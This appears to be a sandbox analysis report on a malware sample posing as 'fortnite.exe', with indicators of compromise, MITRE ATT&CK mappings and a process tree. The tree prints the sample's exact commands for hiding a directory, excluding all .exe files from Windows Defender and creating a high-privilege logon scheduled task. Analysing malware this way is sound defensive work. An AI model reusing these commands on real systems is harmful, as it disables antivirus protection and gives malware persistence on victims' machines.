darkvision | d9d68a7e91ad17c3db6dd4f00b4ff9a27cc27e3da41f694f444b9514eda3072f

pid	Process
3416	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1632	powershell.exe
1632	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1632	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2280 wrote to memory of 4992	2280	fortnite.exe	88
PID 2280 wrote to memory of 4992	2280	fortnite.exe	88
PID 2280 wrote to memory of 4832	2280	fortnite.exe	89
PID 2280 wrote to memory of 4832	2280	fortnite.exe	89
PID 4832 wrote to memory of 1868	4832	cmd.exe	90
PID 4832 wrote to memory of 1868	4832	cmd.exe	90
PID 2280 wrote to memory of 2712	2280	fortnite.exe	91
PID 2280 wrote to memory of 2712	2280	fortnite.exe	91
PID 2712 wrote to memory of 1632	2712	cmd.exe	92
PID 2712 wrote to memory of 1632	2712	cmd.exe	92
PID 2280 wrote to memory of 1708	2280	fortnite.exe	93
PID 2280 wrote to memory of 1708	2280	fortnite.exe	93
PID 1708 wrote to memory of 3416	1708	cmd.exe	94
PID 1708 wrote to memory of 3416	1708	cmd.exe	94
PID 2280 wrote to memory of 220	2280	fortnite.exe	96
PID 2280 wrote to memory of 220	2280	fortnite.exe	96
PID 2280 wrote to memory of 3940	2280	fortnite.exe	99
PID 2280 wrote to memory of 3940	2280	fortnite.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1868	attrib.exe

C:\Users\Admin\AppData\Local\Temp\fortnite.exe
"C:\Users\Admin\AppData\Local\Temp\fortnite.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c mkdir "C:\ProgramData\Microsoft\WindowsApps" >nul 2>&1
  2⤵
  PID:4992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c attrib +h +s "C:\ProgramData\Microsoft\WindowsApps" >nul 2>&1
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4832
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\ProgramData\Microsoft\WindowsApps"
    3⤵
    - Views/modifies file attributes
    PID:1868
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "Add-MpPreference -ExclusionExtension 'exe'" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionExtension 'exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1632
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "OperationEnigma" /tr "C:\ProgramData\Microsoft\WindowsApps\OperationEnigma4.exe" /sc onlogon /rl highest /f >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Windows\system32\schtasks.exe
    schtasks /create /tn "OperationEnigma" /tr "C:\ProgramData\Microsoft\WindowsApps\OperationEnigma4.exe" /sc onlogon /rl highest /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3416
- C:\ProgramData\Microsoft\WindowsApps\OperationEnigma4.exe
  "C:\ProgramData\Microsoft\WindowsApps\OperationEnigma4.exe"
  2⤵
  - Executes dropped EXE
  PID:220
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c color 3
  2⤵
  PID:3940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery